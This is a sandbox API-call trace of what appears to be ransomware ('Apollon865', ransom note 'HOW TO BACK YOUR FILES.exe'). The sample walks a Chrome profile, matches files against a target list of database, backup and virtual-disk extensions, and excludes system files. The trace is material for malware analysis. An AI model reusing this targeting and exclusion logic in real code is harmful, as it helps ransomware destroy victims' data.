	[0047.113] lstrlenW (lpString="accdw") returned 5
	[0047.113] lstrcmpiW (lpString1="nager", lpString2="accdw") returned 1
	[0047.113] lstrlenW (lpString="accft") returned 5
	[0047.113] lstrcmpiW (lpString1="nager", lpString2="accft") returned 1
	[0047.113] lstrlenW (lpString="adb") returned 3
	[0047.113] lstrcmpiW (lpString1="ger", lpString2="adb") returned 1
	[0047.113] lstrlenW (lpString="adb") returned 3
	[0047.113] lstrcmpiW (lpString1="ger", lpString2="adb") returned 1
	[0047.113] lstrlenW (lpString="ade") returned 3
	[0047.113] lstrcmpiW (lpString1="ger", lpString2="ade") returned 1
	[0047.113] lstrlenW (lpString="adf") returned 3
	[0047.113] lstrcmpiW (lpString1="ger", lpString2="adf") returned 1
	[0047.113] lstrlenW (lpString="adn") returned 3
	[0047.113] lstrcmpiW (lpString1="ger", lpString2="adn") returned 1
	[0047.113] lstrlenW (lpString="adp") returned 3
	[0047.113] lstrcmpiW (lpString1="ger", lpString2="adp") returned 1
	[0047.113] lstrlenW (lpString="alf") returned 3
	[0047.113] lstrcmpiW (lpString1="ger", lpString2="alf") returned 1
	[0047.113] lstrlenW (lpString="ask") returned 3
	[0047.113] lstrcmpiW (lpString1="ger", lpString2="ask") returned 1
	[0047.113] lstrlenW (lpString="btr") returned 3
	[0047.113] lstrcmpiW (lpString1="ger", lpString2="btr") returned 1
	[0047.113] lstrlenW (lpString="cat") returned 3
	[0047.113] lstrcmpiW (lpString1="ger", lpString2="cat") returned 1
	[0047.113] lstrlenW (lpString="cdb") returned 3
	[0047.113] lstrcmpiW (lpString1="ger", lpString2="cdb") returned 1
	[0047.113] lstrlenW (lpString="ckp") returned 3
	[0047.113] lstrcmpiW (lpString1="ger", lpString2="ckp") returned 1
	[0047.113] lstrlenW (lpString="cma") returned 3
	[0047.114] lstrcmpiW (lpString1="ger", lpString2="cma") returned 1
	[0047.114] lstrlenW (lpString="cpd") returned 3
	[0047.114] lstrcmpiW (lpString1="ger", lpString2="cpd") returned 1
	[0047.114] lstrlenW (lpString="dacpac") returned 6
	[0047.114] lstrcmpiW (lpString1="anager", lpString2="dacpac") returned -1
	[0047.114] lstrlenW (lpString="dad") returned 3
	[0047.114] lstrcmpiW (lpString1="ger", lpString2="dad") returned 1
	[0047.114] lstrlenW (lpString="dadiagrams") returned 10
	[0047.114] lstrcmpiW (lpString1="otaManager", lpString2="dadiagrams") returned 1
	[0047.114] lstrlenW (lpString="daschema") returned 8
	[0047.114] lstrcmpiW (lpString1="aManager", lpString2="daschema") returned -1
	[0047.114] lstrlenW (lpString="db-journal") returned 10
	[0047.114] lstrcmpiW (lpString1="otaManager", lpString2="db-journal") returned 1
	[0047.114] lstrlenW (lpString="db-shm") returned 6
	[0047.114] lstrcmpiW (lpString1="anager", lpString2="db-shm") returned -1
	[0047.114] lstrlenW (lpString="db-wal") returned 6
	[0047.114] lstrcmpiW (lpString1="anager", lpString2="db-wal") returned -1
	[0047.114] lstrlenW (lpString="dbc") returned 3
	[0047.114] lstrcmpiW (lpString1="ger", lpString2="dbc") returned 1
	[0047.114] lstrlenW (lpString="dbs") returned 3
	[0047.114] lstrcmpiW (lpString1="ger", lpString2="dbs") returned 1
	[0047.114] lstrlenW (lpString="dbt") returned 3
	[0047.114] lstrcmpiW (lpString1="ger", lpString2="dbt") returned 1
	[0047.114] lstrlenW (lpString="dbv") returned 3
	[0047.114] lstrcmpiW (lpString1="ger", lpString2="dbv") returned 1
	[0047.114] lstrlenW (lpString="dbx") returned 3
	[0047.114] lstrcmpiW (lpString1="ger", lpString2="dbx") returned 1
	[0047.114] lstrlenW (lpString="dcb") returned 3
	[0047.114] lstrcmpiW (lpString1="ger", lpString2="dcb") returned 1
	[0047.114] lstrlenW (lpString="dct") returned 3
	[0047.114] lstrcmpiW (lpString1="ger", lpString2="dct") returned 1
	[0047.114] lstrlenW (lpString="dcx") returned 3
	[0047.114] lstrcmpiW (lpString1="ger", lpString2="dcx") returned 1
	[0047.114] lstrlenW (lpString="ddl") returned 3
	[0047.115] lstrcmpiW (lpString1="ger", lpString2="ddl") returned 1
	[0047.115] lstrlenW (lpString="dlis") returned 4
	[0047.115] lstrcmpiW (lpString1="ager", lpString2="dlis") returned -1
	[0047.115] lstrlenW (lpString="dp1") returned 3
	[0047.115] lstrcmpiW (lpString1="ger", lpString2="dp1") returned 1
	[0047.115] lstrlenW (lpString="dqy") returned 3
	[0047.115] lstrcmpiW (lpString1="ger", lpString2="dqy") returned 1
	[0047.115] lstrlenW (lpString="dsk") returned 3
	[0047.115] lstrcmpiW (lpString1="ger", lpString2="dsk") returned 1
	[0047.115] lstrlenW (lpString="dsn") returned 3
	[0047.115] lstrcmpiW (lpString1="ger", lpString2="dsn") returned 1
	[0047.115] lstrlenW (lpString="dtsx") returned 4
	[0047.115] lstrcmpiW (lpString1="ager", lpString2="dtsx") returned -1
	[0047.115] lstrlenW (lpString="dxl") returned 3
	[0047.115] lstrcmpiW (lpString1="ger", lpString2="dxl") returned 1
	[0047.115] lstrlenW (lpString="eco") returned 3
	[0047.115] lstrcmpiW (lpString1="ger", lpString2="eco") returned 1
	[0047.115] lstrlenW (lpString="ecx") returned 3
	[0047.115] lstrcmpiW (lpString1="ger", lpString2="ecx") returned 1
	[0047.115] lstrlenW (lpString="edb") returned 3
	[0047.115] lstrcmpiW (lpString1="ger", lpString2="edb") returned 1
	[0047.115] lstrlenW (lpString="epim") returned 4
	[0047.115] lstrcmpiW (lpString1="ager", lpString2="epim") returned -1
	[0047.115] lstrlenW (lpString="fcd") returned 3
	[0047.115] lstrcmpiW (lpString1="ger", lpString2="fcd") returned 1
	[0047.115] lstrlenW (lpString="fdb") returned 3
	[0047.115] lstrcmpiW (lpString1="ger", lpString2="fdb") returned 1
	[0047.115] lstrlenW (lpString="fic") returned 3
	[0047.115] lstrcmpiW (lpString1="ger", lpString2="fic") returned 1
	[0047.115] lstrlenW (lpString="flexolibrary") returned 12
	[0047.115] lstrlenW (lpString="fm5") returned 3
	[0047.115] lstrcmpiW (lpString1="ger", lpString2="fm5") returned 1
	[0047.115] lstrlenW (lpString="fmp") returned 3
	[0047.115] lstrcmpiW (lpString1="ger", lpString2="fmp") returned 1
	[0047.115] lstrlenW (lpString="fmp12") returned 5
	[0047.116] lstrcmpiW (lpString1="nager", lpString2="fmp12") returned 1
	[0047.116] lstrlenW (lpString="fmpsl") returned 5
	[0047.116] lstrcmpiW (lpString1="nager", lpString2="fmpsl") returned 1
	[0047.116] lstrlenW (lpString="fol") returned 3
	[0047.116] lstrcmpiW (lpString1="ger", lpString2="fol") returned 1
	[0047.116] lstrlenW (lpString="fp3") returned 3
	[0047.116] lstrcmpiW (lpString1="ger", lpString2="fp3") returned 1
	[0047.116] lstrlenW (lpString="fp4") returned 3
	[0047.116] lstrcmpiW (lpString1="ger", lpString2="fp4") returned 1
	[0047.116] lstrlenW (lpString="fp5") returned 3
	[0047.116] lstrcmpiW (lpString1="ger", lpString2="fp5") returned 1
	[0047.116] lstrlenW (lpString="fp7") returned 3
	[0047.116] lstrcmpiW (lpString1="ger", lpString2="fp7") returned 1
	[0047.116] lstrlenW (lpString="fpt") returned 3
	[0047.116] lstrcmpiW (lpString1="ger", lpString2="fpt") returned 1
	[0047.116] lstrlenW (lpString="frm") returned 3
	[0047.116] lstrcmpiW (lpString1="ger", lpString2="frm") returned 1
	[0047.116] lstrlenW (lpString="gdb") returned 3
	[0047.116] lstrcmpiW (lpString1="ger", lpString2="gdb") returned 1
	[0047.116] lstrlenW (lpString="gdb") returned 3
	[0047.116] lstrcmpiW (lpString1="ger", lpString2="gdb") returned 1
	[0047.116] lstrlenW (lpString="grdb") returned 4
	[0047.116] lstrcmpiW (lpString1="ager", lpString2="grdb") returned -1
	[0047.116] lstrlenW (lpString="gwi") returned 3
	[0047.116] lstrcmpiW (lpString1="ger", lpString2="gwi") returned -1
	[0047.116] lstrlenW (lpString="hdb") returned 3
	[0047.116] lstrcmpiW (lpString1="ger", lpString2="hdb") returned -1
	[0047.116] lstrlenW (lpString="his") returned 3
	[0047.116] lstrcmpiW (lpString1="ger", lpString2="his") returned -1
	[0047.116] lstrlenW (lpString="ib") returned 2
	[0047.116] lstrcmpiW (lpString1="er", lpString2="ib") returned -1
	[0047.116] lstrlenW (lpString="idb") returned 3
	[0047.116] lstrcmpiW (lpString1="ger", lpString2="idb") returned -1
	[0047.116] lstrlenW (lpString="ihx") returned 3
	[0047.116] lstrcmpiW (lpString1="ger", lpString2="ihx") returned -1
	[0047.117] lstrlenW (lpString="itdb") returned 4
	[0047.117] lstrcmpiW (lpString1="ager", lpString2="itdb") returned -1
	[0047.117] lstrlenW (lpString="itw") returned 3
	[0047.117] lstrcmpiW (lpString1="ger", lpString2="itw") returned -1
	[0047.117] lstrlenW (lpString="jet") returned 3
	[0047.117] lstrcmpiW (lpString1="ger", lpString2="jet") returned -1
	[0047.117] lstrlenW (lpString="jtx") returned 3
	[0047.117] lstrcmpiW (lpString1="ger", lpString2="jtx") returned -1
	[0047.117] lstrlenW (lpString="kdb") returned 3
	[0047.117] lstrcmpiW (lpString1="ger", lpString2="kdb") returned -1
	[0047.117] lstrlenW (lpString="kexi") returned 4
	[0047.117] lstrcmpiW (lpString1="ager", lpString2="kexi") returned -1
	[0047.117] lstrlenW (lpString="kexic") returned 5
	[0047.117] lstrcmpiW (lpString1="nager", lpString2="kexic") returned 1
	[0047.117] lstrlenW (lpString="kexis") returned 5
	[0047.117] lstrcmpiW (lpString1="nager", lpString2="kexis") returned 1
	[0047.117] lstrlenW (lpString="lgc") returned 3
	[0047.117] lstrcmpiW (lpString1="ger", lpString2="lgc") returned -1
	[0047.117] lstrlenW (lpString="lwx") returned 3
	[0047.117] lstrcmpiW (lpString1="ger", lpString2="lwx") returned -1
	[0047.117] lstrlenW (lpString="maf") returned 3
	[0047.117] lstrcmpiW (lpString1="ger", lpString2="maf") returned -1
	[0047.117] lstrlenW (lpString="maq") returned 3
	[0047.117] lstrcmpiW (lpString1="ger", lpString2="maq") returned -1
	[0047.117] lstrlenW (lpString="mar") returned 3
	[0047.117] lstrcmpiW (lpString1="ger", lpString2="mar") returned -1
	[0047.117] lstrlenW (lpString="marshal") returned 7
	[0047.117] lstrcmpiW (lpString1="Manager", lpString2="marshal") returned -1
	[0047.117] lstrlenW (lpString="mas") returned 3
	[0047.117] lstrcmpiW (lpString1="ger", lpString2="mas") returned -1
	[0047.117] lstrlenW (lpString="mav") returned 3
	[0047.117] lstrcmpiW (lpString1="ger", lpString2="mav") returned -1
	[0047.118] lstrlenW (lpString="maw") returned 3
	[0047.118] lstrcmpiW (lpString1="ger", lpString2="maw") returned -1
	[0047.118] lstrlenW (lpString="mdbhtml") returned 7
	[0047.118] lstrcmpiW (lpString1="Manager", lpString2="mdbhtml") returned -1
	[0047.118] lstrlenW (lpString="mdn") returned 3
	[0047.118] lstrcmpiW (lpString1="ger", lpString2="mdn") returned -1
	[0047.118] lstrlenW (lpString="mdt") returned 3
	[0047.118] lstrcmpiW (lpString1="ger", lpString2="mdt") returned -1
	[0047.118] lstrlenW (lpString="mfd") returned 3
	[0047.118] lstrcmpiW (lpString1="ger", lpString2="mfd") returned -1
	[0047.118] lstrlenW (lpString="mpd") returned 3
	[0047.118] lstrcmpiW (lpString1="ger", lpString2="mpd") returned -1
	[0047.118] lstrlenW (lpString="mrg") returned 3
	[0047.118] lstrcmpiW (lpString1="ger", lpString2="mrg") returned -1
	[0047.118] lstrlenW (lpString="mud") returned 3
	[0047.118] lstrcmpiW (lpString1="ger", lpString2="mud") returned -1
	[0047.118] lstrlenW (lpString="mwb") returned 3
	[0047.118] lstrcmpiW (lpString1="ger", lpString2="mwb") returned -1
	[0047.118] lstrlenW (lpString="myd") returned 3
	[0047.118] lstrcmpiW (lpString1="ger", lpString2="myd") returned -1
	[0047.118] lstrlenW (lpString="ndf") returned 3
	[0047.118] lstrcmpiW (lpString1="ger", lpString2="ndf") returned -1
	[0047.118] lstrlenW (lpString="nnt") returned 3
	[0047.118] lstrcmpiW (lpString1="ger", lpString2="nnt") returned -1
	[0047.118] lstrlenW (lpString="nrmlib") returned 6
	[0047.118] lstrcmpiW (lpString1="anager", lpString2="nrmlib") returned -1
	[0047.118] lstrlenW (lpString="ns2") returned 3
	[0047.118] lstrcmpiW (lpString1="ger", lpString2="ns2") returned -1
	[0047.118] lstrlenW (lpString="ns3") returned 3
	[0047.118] lstrcmpiW (lpString1="ger", lpString2="ns3") returned -1
	[0047.118] lstrlenW (lpString="ns4") returned 3
	[0047.118] lstrcmpiW (lpString1="ger", lpString2="ns4") returned -1
	[0047.118] lstrlenW (lpString="nsf") returned 3
	[0047.118] lstrcmpiW (lpString1="ger", lpString2="nsf") returned -1
	[0047.119] lstrlenW (lpString="nv") returned 2
	[0047.119] lstrcmpiW (lpString1="er", lpString2="nv") returned -1
	[0047.119] lstrlenW (lpString="nv2") returned 3
	[0047.119] lstrcmpiW (lpString1="ger", lpString2="nv2") returned -1
	[0047.119] lstrlenW (lpString="nwdb") returned 4
	[0047.119] lstrcmpiW (lpString1="ager", lpString2="nwdb") returned -1
	[0047.119] lstrlenW (lpString="nyf") returned 3
	[0047.119] lstrcmpiW (lpString1="ger", lpString2="nyf") returned -1
	[0047.119] lstrlenW (lpString="odb") returned 3
	[0047.119] lstrcmpiW (lpString1="ger", lpString2="odb") returned -1
	[0047.119] lstrlenW (lpString="odb") returned 3
	[0047.119] lstrcmpiW (lpString1="ger", lpString2="odb") returned -1
	[0047.119] lstrlenW (lpString="oqy") returned 3
	[0047.119] lstrcmpiW (lpString1="ger", lpString2="oqy") returned -1
	[0047.119] lstrlenW (lpString="ora") returned 3
	[0047.119] lstrcmpiW (lpString1="ger", lpString2="ora") returned -1
	[0047.119] lstrlenW (lpString="orx") returned 3
	[0047.119] lstrcmpiW (lpString1="ger", lpString2="orx") returned -1
	[0047.119] lstrlenW (lpString="owc") returned 3
	[0047.119] lstrcmpiW (lpString1="ger", lpString2="owc") returned -1
	[0047.119] lstrlenW (lpString="p96") returned 3
	[0047.119] lstrcmpiW (lpString1="ger", lpString2="p96") returned -1
	[0047.119] lstrlenW (lpString="p97") returned 3
	[0047.119] lstrcmpiW (lpString1="ger", lpString2="p97") returned -1
	[0047.119] lstrlenW (lpString="pan") returned 3
	[0047.119] lstrcmpiW (lpString1="ger", lpString2="pan") returned -1
	[0047.119] lstrlenW (lpString="pdb") returned 3
	[0047.119] lstrcmpiW (lpString1="ger", lpString2="pdb") returned -1
	[0047.119] lstrlenW (lpString="pdm") returned 3
	[0047.119] lstrcmpiW (lpString1="ger", lpString2="pdm") returned -1
	[0047.119] lstrlenW (lpString="pnz") returned 3
	[0047.119] lstrcmpiW (lpString1="ger", lpString2="pnz") returned -1
	[0047.119] lstrlenW (lpString="qry") returned 3
	[0047.119] lstrcmpiW (lpString1="ger", lpString2="qry") returned -1
	[0047.120] lstrlenW (lpString="qvd") returned 3
	[0047.120] lstrcmpiW (lpString1="ger", lpString2="qvd") returned -1
	[0047.120] lstrlenW (lpString="rbf") returned 3
	[0047.120] lstrcmpiW (lpString1="ger", lpString2="rbf") returned -1
	[0047.120] lstrlenW (lpString="rctd") returned 4
	[0047.120] lstrcmpiW (lpString1="ager", lpString2="rctd") returned -1
	[0047.120] lstrlenW (lpString="rod") returned 3
	[0047.120] lstrcmpiW (lpString1="ger", lpString2="rod") returned -1
	[0047.120] lstrlenW (lpString="rodx") returned 4
	[0047.120] lstrcmpiW (lpString1="ager", lpString2="rodx") returned -1
	[0047.120] lstrlenW (lpString="rpd") returned 3
	[0047.120] lstrcmpiW (lpString1="ger", lpString2="rpd") returned -1
	[0047.120] lstrlenW (lpString="rsd") returned 3
	[0047.120] lstrcmpiW (lpString1="ger", lpString2="rsd") returned -1
	[0047.120] lstrlenW (lpString="sas7bdat") returned 8
	[0047.120] lstrcmpiW (lpString1="aManager", lpString2="sas7bdat") returned -1
	[0047.120] lstrlenW (lpString="sbf") returned 3
	[0047.120] lstrcmpiW (lpString1="ger", lpString2="sbf") returned -1
	[0047.120] lstrlenW (lpString="scx") returned 3
	[0047.120] lstrcmpiW (lpString1="ger", lpString2="scx") returned -1
	[0047.120] lstrlenW (lpString="sdb") returned 3
	[0047.120] lstrcmpiW (lpString1="ger", lpString2="sdb") returned -1
	[0047.120] lstrlenW (lpString="sdc") returned 3
	[0047.120] lstrcmpiW (lpString1="ger", lpString2="sdc") returned -1
	[0047.120] lstrlenW (lpString="sdf") returned 3
	[0047.120] lstrcmpiW (lpString1="ger", lpString2="sdf") returned -1
	[0047.120] lstrlenW (lpString="sis") returned 3
	[0047.120] lstrcmpiW (lpString1="ger", lpString2="sis") returned -1
	[0047.120] lstrlenW (lpString="spq") returned 3
	[0047.120] lstrcmpiW (lpString1="ger", lpString2="spq") returned -1
	[0047.120] lstrlenW (lpString="te") returned 2
	[0047.120] lstrcmpiW (lpString1="er", lpString2="te") returned -1
	[0047.120] lstrlenW (lpString="teacher") returned 7
	[0047.120] lstrcmpiW (lpString1="Manager", lpString2="teacher") returned -1
	[0047.121] lstrlenW (lpString="tmd") returned 3
	[0047.121] lstrcmpiW (lpString1="ger", lpString2="tmd") returned -1
	[0047.121] lstrlenW (lpString="tps") returned 3
	[0047.121] lstrcmpiW (lpString1="ger", lpString2="tps") returned -1
	[0047.121] lstrlenW (lpString="trc") returned 3
	[0047.121] lstrcmpiW (lpString1="ger", lpString2="trc") returned -1
	[0047.121] lstrlenW (lpString="trc") returned 3
	[0047.121] lstrcmpiW (lpString1="ger", lpString2="trc") returned -1
	[0047.121] lstrlenW (lpString="trm") returned 3
	[0047.121] lstrcmpiW (lpString1="ger", lpString2="trm") returned -1
	[0047.121] lstrlenW (lpString="udb") returned 3
	[0047.121] lstrcmpiW (lpString1="ger", lpString2="udb") returned -1
	[0047.121] lstrlenW (lpString="udl") returned 3
	[0047.121] lstrcmpiW (lpString1="ger", lpString2="udl") returned -1
	[0047.121] lstrlenW (lpString="usr") returned 3
	[0047.121] lstrcmpiW (lpString1="ger", lpString2="usr") returned -1
	[0047.121] lstrlenW (lpString="v12") returned 3
	[0047.121] lstrcmpiW (lpString1="ger", lpString2="v12") returned -1
	[0047.121] lstrlenW (lpString="vis") returned 3
	[0047.121] lstrcmpiW (lpString1="ger", lpString2="vis") returned -1
	[0047.121] lstrlenW (lpString="vpd") returned 3
	[0047.121] lstrcmpiW (lpString1="ger", lpString2="vpd") returned -1
	[0047.121] lstrlenW (lpString="vvv") returned 3
	[0047.121] lstrcmpiW (lpString1="ger", lpString2="vvv") returned -1
	[0047.121] lstrlenW (lpString="wdb") returned 3
	[0047.121] lstrcmpiW (lpString1="ger", lpString2="wdb") returned -1
	[0047.121] lstrlenW (lpString="wmdb") returned 4
	[0047.121] lstrcmpiW (lpString1="ager", lpString2="wmdb") returned -1
	[0047.121] lstrlenW (lpString="wrk") returned 3
	[0047.121] lstrcmpiW (lpString1="ger", lpString2="wrk") returned -1
	[0047.121] lstrlenW (lpString="xdb") returned 3
	[0047.121] lstrcmpiW (lpString1="ger", lpString2="xdb") returned -1
	[0047.121] lstrlenW (lpString="xld") returned 3
	[0047.121] lstrcmpiW (lpString1="ger", lpString2="xld") returned -1
	[0047.122] lstrlenW (lpString="xmlff") returned 5
	[0047.122] lstrcmpiW (lpString1="nager", lpString2="xmlff") returned -1
	[0047.122] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8687f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QuotaManager-journal", cAlternateFileName="QUOTAM~2")) returned 1
	[0047.122] lstrcmpiW (lpString1="QuotaManager-journal", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.122] lstrcmpiW (lpString1="QuotaManager-journal", lpString2="Apollon865.txt.exe") returned 1
	[0047.122] lstrcmpiW (lpString1="QuotaManager-journal", lpString2=".") returned 1
	[0047.122] lstrcmpiW (lpString1="QuotaManager-journal", lpString2="..") returned 1
	[0047.122] lstrcmpiW (lpString1="QuotaManager-journal", lpString2="windows") returned -1
	[0047.122] lstrcmpiW (lpString1="QuotaManager-journal", lpString2="bootmgr") returned 1
	[0047.122] lstrcmpiW (lpString1="QuotaManager-journal", lpString2="temp") returned -1
	[0047.122] lstrcmpiW (lpString1="QuotaManager-journal", lpString2="pagefile.sys") returned 1
	[0047.122] lstrcmpiW (lpString1="QuotaManager-journal", lpString2="boot") returned 1
	[0047.122] lstrcmpiW (lpString1="QuotaManager-journal", lpString2="ids.txt") returned 1
	[0047.122] lstrcmpiW (lpString1="QuotaManager-journal", lpString2="ntuser.dat") returned 1
	[0047.122] lstrcmpiW (lpString1="QuotaManager-journal", lpString2="perflogs") returned 1
	[0047.122] lstrcmpiW (lpString1="QuotaManager-journal", lpString2="MSBuild") returned 1
	[0047.122] lstrlenW (lpString="QuotaManager-journal") returned 20
	[0047.122] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager") returned 88
	[0047.122] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="QuotaManager-journal" | out: lpString1="QuotaManager-journal") returned="QuotaManager-journal"
	[0047.122] lstrlenW (lpString="QuotaManager-journal") returned 20
	[0047.122] lstrlenW (lpString="Apollon865") returned 10
	[0047.122] lstrcmpiW (lpString1="er-journal", lpString2="Apollon865") returned 1
	[0047.122] lstrlenW (lpString=".dll") returned 4
	[0047.122] lstrcmpiW (lpString1="QuotaManager-journal", lpString2=".dll") returned 1
	[0047.122] lstrlenW (lpString=".lnk") returned 4
	[0047.122] lstrcmpiW (lpString1="QuotaManager-journal", lpString2=".lnk") returned 1
	[0047.122] lstrlenW (lpString=".ini") returned 4
	[0047.122] lstrcmpiW (lpString1="QuotaManager-journal", lpString2=".ini") returned 1
	[0047.122] lstrlenW (lpString=".sys") returned 4
	[0047.122] lstrcmpiW (lpString1="QuotaManager-journal", lpString2=".sys") returned 1
	[0047.122] lstrlenW (lpString="QuotaManager-journal") returned 20
	[0047.122] lstrlenW (lpString="bak") returned 3
	[0047.123] lstrcmpiW (lpString1="nal", lpString2="bak") returned 1
	[0047.123] lstrlenW (lpString="ba_") returned 3
	[0047.123] lstrcmpiW (lpString1="nal", lpString2="ba_") returned 1
	[0047.123] lstrlenW (lpString="dbb") returned 3
	[0047.123] lstrcmpiW (lpString1="nal", lpString2="dbb") returned 1
	[0047.123] lstrlenW (lpString="vmdk") returned 4
	[0047.123] lstrcmpiW (lpString1="rnal", lpString2="vmdk") returned -1
	[0047.123] lstrlenW (lpString="rar") returned 3
	[0047.123] lstrcmpiW (lpString1="nal", lpString2="rar") returned -1
	[0047.123] lstrlenW (lpString="zip") returned 3
	[0047.123] lstrcmpiW (lpString1="nal", lpString2="zip") returned -1
	[0047.123] lstrlenW (lpString="tgz") returned 3
	[0047.123] lstrcmpiW (lpString1="nal", lpString2="tgz") returned -1
	[0047.123] lstrlenW (lpString="vbox") returned 4
	[0047.123] lstrcmpiW (lpString1="rnal", lpString2="vbox") returned -1
	[0047.123] lstrcmpiW (lpString1="nal", lpString2="vdi") returned -1
	[0047.123] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="README" | out: lpString1="README") returned="README"
	[0047.123] lstrlenW (lpString="README") returned 6
	[0047.123] lstrlenW (lpString="Apollon865") returned 10
	[0047.123] lstrlenW (lpString=".dll") returned 4
	[0047.123] lstrcmpiW (lpString1="README", lpString2=".dll") returned 1
	[0047.123] lstrlenW (lpString=".lnk") returned 4
	[0047.123] lstrcmpiW (lpString1="README", lpString2=".lnk") returned 1
	[0047.123] lstrlenW (lpString=".ini") returned 4
	[0047.123] lstrcmpiW (lpString1="README", lpString2=".ini") returned 1
	[0047.123] lstrlenW (lpString=".sys") returned 4
	[0047.123] lstrcmpiW (lpString1="README", lpString2=".sys") returned 1
	[0047.123] lstrlenW (lpString="README") returned 6
	[0047.124] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Secure Preferences" | out: lpString1="Secure Preferences") returned="Secure Preferences"
	[0047.124] lstrlenW (lpString="Secure Preferences") returned 18
	[0047.124] lstrlenW (lpString="Apollon865") returned 10
	[0047.124] lstrcmpiW (lpString1="references", lpString2="Apollon865") returned 1
	[0047.124] lstrlenW (lpString=".dll") returned 4
	[0047.124] lstrcmpiW (lpString1="Secure Preferences", lpString2=".dll") returned 1
	[0047.124] lstrlenW (lpString=".lnk") returned 4
	[0047.124] lstrcmpiW (lpString1="Secure Preferences", lpString2=".lnk") returned 1
	[0047.124] lstrlenW (lpString=".ini") returned 4
	[0047.124] lstrcmpiW (lpString1="Secure Preferences", lpString2=".ini") returned 1
	[0047.124] lstrlenW (lpString=".sys") returned 4
	[0047.124] lstrcmpiW (lpString1="Secure Preferences", lpString2=".sys") returned 1
	[0047.124] lstrlenW (lpString="Secure Preferences") returned 18
	[0047.124] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Shortcuts" | out: lpString1="Shortcuts") returned="Shortcuts"
	[0047.124] lstrlenW (lpString="Shortcuts") returned 9
	[0047.124] lstrlenW (lpString="Apollon865") returned 10
	[0047.124] lstrlenW (lpString=".dll") returned 4
	[0047.124] lstrcmpiW (lpString1="Shortcuts", lpString2=".dll") returned 1
	[0047.124] lstrlenW (lpString=".lnk") returned 4
	[0047.124] lstrcmpiW (lpString1="Shortcuts", lpString2=".lnk") returned 1
	[0047.124] lstrlenW (lpString=".ini") returned 4
	[0047.124] lstrcmpiW (lpString1="Shortcuts", lpString2=".ini") returned 1
	[0047.124] lstrlenW (lpString=".sys") returned 4
	[0047.124] lstrcmpiW (lpString1="Shortcuts", lpString2=".sys") returned 1
	[0047.124] lstrlenW (lpString="Shortcuts") returned 9
	[0047.124] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Shortcuts-journal" | out: lpString1="Shortcuts-journal") returned="Shortcuts-journal"
	[0047.124] lstrlenW (lpString="Shortcuts-journal") returned 17
	[0047.124] lstrlenW (lpString="Apollon865") returned 10
	[0047.124] lstrcmpiW (lpString1="ts-journal", lpString2="Apollon865") returned 1
	[0047.124] lstrlenW (lpString=".dll") returned 4
	[0047.124] lstrcmpiW (lpString1="Shortcuts-journal", lpString2=".dll") returned 1
	[0047.125] lstrlenW (lpString=".lnk") returned 4
	[0047.125] lstrcmpiW (lpString1="Shortcuts-journal", lpString2=".lnk") returned 1
	[0047.125] lstrlenW (lpString=".ini") returned 4
	[0047.125] lstrcmpiW (lpString1="Shortcuts-journal", lpString2=".ini") returned 1
	[0047.125] lstrlenW (lpString=".sys") returned 4
	[0047.125] lstrcmpiW (lpString1="Shortcuts-journal", lpString2=".sys") returned 1
	[0047.125] lstrlenW (lpString="Shortcuts-journal") returned 17
	[0047.125] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Sync Extension Settings" | out: lpString1="Sync Extension Settings") returned="Sync Extension Settings"
	[0047.125] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0047.125] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc8) returned 0x5aa3c8
	[0047.125] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x5b7c90
	[0047.125] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80d66840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80d66840, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8195e7b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Top Sites", cAlternateFileName="TOPSIT~1")) returned 1
	[0047.125] lstrcmpiW (lpString1="Top Sites", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.125] lstrcmpiW (lpString1="Top Sites", lpString2="Apollon865.txt.exe") returned 1
	[0047.125] lstrcmpiW (lpString1="Top Sites", lpString2=".") returned 1
	[0047.125] lstrcmpiW (lpString1="Top Sites", lpString2="..") returned 1
	[0047.125] lstrcmpiW (lpString1="Top Sites", lpString2="windows") returned -1
	[0047.125] lstrcmpiW (lpString1="Top Sites", lpString2="bootmgr") returned 1
	[0047.125] lstrcmpiW (lpString1="Top Sites", lpString2="temp") returned 1
	[0047.125] lstrcmpiW (lpString1="Top Sites", lpString2="pagefile.sys") returned 1
	[0047.125] lstrcmpiW (lpString1="Top Sites", lpString2="boot") returned 1
	[0047.125] lstrcmpiW (lpString1="Top Sites", lpString2="ids.txt") returned 1
	[0047.125] lstrcmpiW (lpString1="Top Sites", lpString2="ntuser.dat") returned 1
	[0047.125] lstrcmpiW (lpString1="Top Sites", lpString2="perflogs") returned 1
	[0047.125] lstrcmpiW (lpString1="Top Sites", lpString2="MSBuild") returned 1
	[0047.125] lstrlenW (lpString="Top Sites") returned 9
